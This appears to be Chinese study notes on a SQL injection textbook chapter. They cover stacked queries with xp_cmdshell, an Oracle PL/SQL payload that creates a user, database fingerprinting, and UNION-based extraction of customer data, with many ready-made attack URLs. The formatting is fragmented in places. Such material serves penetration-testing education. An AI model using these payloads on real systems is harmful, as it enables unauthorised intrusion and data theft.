借助应用测试(如第 2 章)、复查源码技术(如第 3 章 ),发现 Web 应用中易受攻击参数后,进入利用阶段,需先明确:
id
(如http://www.victim.com/products.asp?id=12
),id
参数存在 SQL 注入可能,虽示例为数字型参数(无需单引号闭合 ),但逻辑可推广到其他类型参数(字符型等需注意闭合规则 )。-
等符号 ),保证注入代码独立执行,可参考第 2 章 “注释终止 SQL 查询” 知识。概念:在单个数据库连接中执行多个查询序列,是 SQL 注入利用的关键因素,能否实现受数据库类型、应用技术框架限制(如ASP.NET + SQL Server 、PHP + MySQL 等组合支持度不同 )。
示例:作用:终止原始查询(;
分隔 ),追加执行系统命令(xp_cmdshell
,需对应数据库权限 ),让远程服务器执行额外操作,突破 “仅查询数据” 限制,扩展攻击影响(如读写文件、执行系统指令 )。
http://www.victim.com/products.asp?id=1;exec master..xp_cmdshell 'dir'--
以下是按照数据库分类,梳理支持堆叠查询的情况,结合常见语言(如 PHP 等与数据库交互场景 )说明:
;
分隔多条语句 ),但 PHP 连接 MySQL 时,常规用 mysqli_query
等函数默认不支持(因安全限制,防止多语句执行风险 )。mysqli_multi_query
函数(专门用于执行多语句查询 ),则可实现堆叠查询;否则,PHP + MySQL 组合默认 “不支持” 堆叠注入(从应用层限制角度 )。;
分隔即可。sqlsrv
扩展、.NET 用 ADO.NET 等方式连接时,若代码未做严格多语句限制,可执行堆叠查询,是常见的堆叠注入利用目标(比如经典的 ; DROP TABLE...
注入场景 )。;
分隔可顺序执行。pg_query
等基础函数,默认允许堆叠查询执行(与 MySQL + PHP 场景不同,PG 对多语句限制更宽松 ),因此易成为堆叠注入的利用点。;
分隔堆叠查询(因 Oracle 以 PL/SQL 块为多语句执行单元 )。BEGIN...END;
等 PL/SQL 语法封装多语句,或借助 DBMS_
系列函数间接实现 “多操作”,严格来说不算传统堆叠,但可达到类似执行多条逻辑的效果,常被用于进阶注入。总结来看:
;
分隔多语句 )。mysqli_multi_query
才开放。本质上,堆叠查询是否被 “支持”,是数据库能力 + 应用层(语言、函数、安全配置 )共同决定的,渗透测试或代码审计时,需结合具体技术栈判断~
PL/SQL 是 Oracle 内置过程化语言,可封装多条语句,需用BEGIN...END
包裹,例:
SQL> DECLARE
MSG VARCHAR2(200);
BEGIN
MSG:='HELLO WORLD';
DBMS_OUTPUT.PUT_LINE(MSG);
END;
/
利用 Oracle 默认函数(如dbms_xmlquery.newcontext
、dbms_xmlquery.getxml
,PUBLIC 权限可调用 ),注入时拼接 PL/SQL 块执行,例:作用:借助函数执行自定义 PL/SQL,实现创建用户等操作,获取与交互工具(如 Sqlplus )同级控制权限,突破常规 SQL 注入限制。
http://www.victim.com/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create user pwned identified by pwn3d ''; commit; end;') from dual is not null --
成功 SQL 注入攻击的基础前提:明确目标应用使用的数据库类型(如 SQL Server、MySQL、Oracle、PostgreSQL 等 )。
xp_cmdshell
、Oracle 的 PL/SQL ),是定制攻击 payload 的核心参考。在 SQL 注入攻击中,识别目标数据库类型与版本是关键前提:
Web 技术栈 | 高频关联数据库 | 原理 |
---|---|---|
ASP/.NET | Microsoft SQL Server | 微软技术生态绑定 |
PHP | MySQL、PostgreSQL | 开源生态常用组合 |
Java | Oracle、MySQL | 企业级 / 开源场景适配 |
底层 OS 线索 | 如 IIS→Windows→SQL Server;Apache→Linux→MySQL/PostgreSQL | 服务器环境与数据库的典型搭配 |
数据库执行错误 SQL 时,会返回包含技术特征的错误信息,可用于精准识别:
ERROR 1146 (42S02): Table 'foo.bar' doesn't exist
,其中 1146
是 MySQL 特有错误码。CREATE TABLE
,返回 ORA-01737: not specify column datatypes in this CREATE TABLE
,ORA-01737
是 Oracle 专属错误码。pg_query(): Query failed: ERROR: unterminated quoted string at or near...
,pg_query
是 PostgreSQL 客户端函数特征。通过注入故意触发语法错误,捕获返回的错误信息,提取数据库特征:
注入单引号破坏 SQL 语法(如 ' OR 1=1 --
),观察响应中的错误码、函数名(如 mysql_query
)。
示例流程:
注入点:?id=1'
响应:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
→ 识别为 MySQL 数据库
向数据库发送版本专属查询,根据返回结果判断类型与版本:
数据库类型 | 版本查询语句 | 返回示例(以 SQL Server 2008 为例) |
---|---|---|
Microsoft SQL Server | SELECT @@version |
Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 |
MySQL | SELECT VERSION() |
5.7.36 - MySQL Community Server |
Oracle | SELECT banner FROM v$version |
Oracle Database 19c Enterprise Edition |
PostgreSQL | SELECT version() |
PostgreSQL 14.5 on x86_64-pc-linux-gnu |
若注入点无法直接返回查询结果,可通过类型转换错误间接获取版本:
SQL Server 示例:注入 ?id=@@version
到数字型参数(如 id
期望是数字),触发错误:→ 从错误中提取版本信息。
Conversion failed when converting the varchar value 'Microsoft SQL Server 2008...' to data type int.
当注入点无错误回显(盲注),利用不同数据库的语法差异推断类型:
数据库类型 | 字符串拼接语法 | 测试查询(注入后观察是否报错) | ||
---|---|---|---|---|
Microsoft SQL Server | SELECT 'some' + 'string' |
拼接成功 → SQL Server | ||
MySQL | `SELECT ‘some’ | ‘string’` | 拼接成功 → MySQL(需开启 PIPES_AS_CONCAT) | |
Oracle | `SELECT ‘some’ | ‘string’` | 拼接成功 → Oracle | |
PostgreSQL | SELECT CONCAT('some','string') |
拼接成功 → PostgreSQL |
数据库类型 | 数字函数测试语句 | 预期结果(成功则匹配) |
---|---|---|
Microsoft SQL Server | SELECT @@pack_received |
返回数字 → SQL Server |
MySQL | SELECT connection_id() |
返回连接 ID → MySQL |
Oracle | SELECT BITAND(1,1) |
返回 1 → Oracle |
PostgreSQL | SELECT EXTRACT(DOW FROM NOW()) |
返回当前星期几 → PostgreSQL |
利用数据库专属语法,注入后观察是否执行(无报错即匹配):
WAITFOR DELAY '0:0:1'
(延迟执行,观察响应时间)。SELECT pg_sleep(10)
(延迟 10 秒,判断是否支持)。/*!40119 SELECT 1 */
(仅版本 ≥4.0.119 执行,返回 2
则版本符合 )。Sqlmap:自动化识别数据库类型、版本,支持 -dbms
参数指定或自动探测。示例命令:
sqlmap -u "http://example.com/?id=1" --identify-db
手动验证:结合上述方法,构造 payload 验证工具结果(避免误判)。
识别数据库是 SQL 注入的第一步,也是定制化攻击的基础。通过 Web 技术栈关联、错误消息捕获、特定查询探测、SQL 方言差异、特殊语法验证,可精准锁定目标数据库类型与版本。工具(如 Sqlmap )可提升效率,但人工理解识别逻辑,能应对复杂场景(如盲注、无回显注入 )。掌握这些方法,才能为后续注入攻击(如数据提取、权限提升 )奠定基础。
SELECT
语句的查询结果。SELECT column-1,column-2,...,column-N FROM table-1
UNION
SELECT column-1,column-2,...,column-N FROM table-2
SELECT
结果的并集(无重复行 )。UNION ALL
替换 UNION
。SELECT column-1,column-2,...,column-N FROM table-1
UNION ALL
SELECT column-1,column-2,...,column-N FROM table-2
SELECT
语句返回的列数必须相同。The used SELECT statements have a different number of columns
)。UNION SELECT NULL
逐步增加列数,直到无报错(如 Oracle 需补充 FROM dual
)。示例 URL:http://www.victim.com/products.asp?id=12+union+select+null--
http://www.victim.com/products.asp?id=12+union+select+null,null--
ORDER BY n
推测列数(n
为列索引),若 n
超出实际列数则报错,从而确定准确列数。示例 URL:http://www.victim.com/products.asp?id=12+order+by+1
http://www.victim.com/products.asp?id=12+order+by+6 (若报错,说明列数小于 6 )
NULL
填充列,因 NULL
可适配多数类型(Oracle 需注意 FROM dual
)。示例 URL:http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,NULL,NULL--
CAST(123 AS varchar)
),确保与原始查询列类型兼容。SELECT NULL, system_user + '|' + db_name(), NULL, NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,system_user%2B'%7C'%2Bdb_name(),NULL,NULL--
(注:%2B
是 +
的 URL 编码,%7C
是 |
的 URL 编码 )
AND 1=0
使原始 WHERE
条件不成立。示例 URL:http://www.victim.com/products.asp?id=12+and+1=0+union+select+NULL,system_user,NULL,NULL--
1=0
无结果,仅返回 UNION 注入的 system_user
数据。customers
表 ),需逐行获取。1=0
移除原始结果,注入目标表首行查询。URL 示例:http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,first_name,second_name,NULL+from+customers--
WHERE userid > n
(n
为已提取行的 userid
),继续遍历。URL 示例:http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,first_name,second_name,NULL+from+customers+WHERE+userid>+1--
要点 | 说明 |
---|---|
UNION 基础 | 合并 SELECT 结果,UNION 去重、UNION ALL 保留重复行 |
注入前提 | 需匹配列数和数据类型,通过 NULL 测试、ORDER BY 推测列数 |
实战技巧 | 用拼接函数合并多数据、AND 1=0 移除原始结果、逐行遍历表数据 |
数据库差异 | 不同数据库(MySQL、Oracle 等)报错信息、语法细节(如 Oracle 的 FROM dual )有区别,需适配 |
(注:SQL 注入为高危操作,需在授权环境或合法渗透测试中实践,禁止用于非法用途 )
后续将继续介绍如何枚举数据库模式,以及注入后如何提升权限和窃取口令等内容。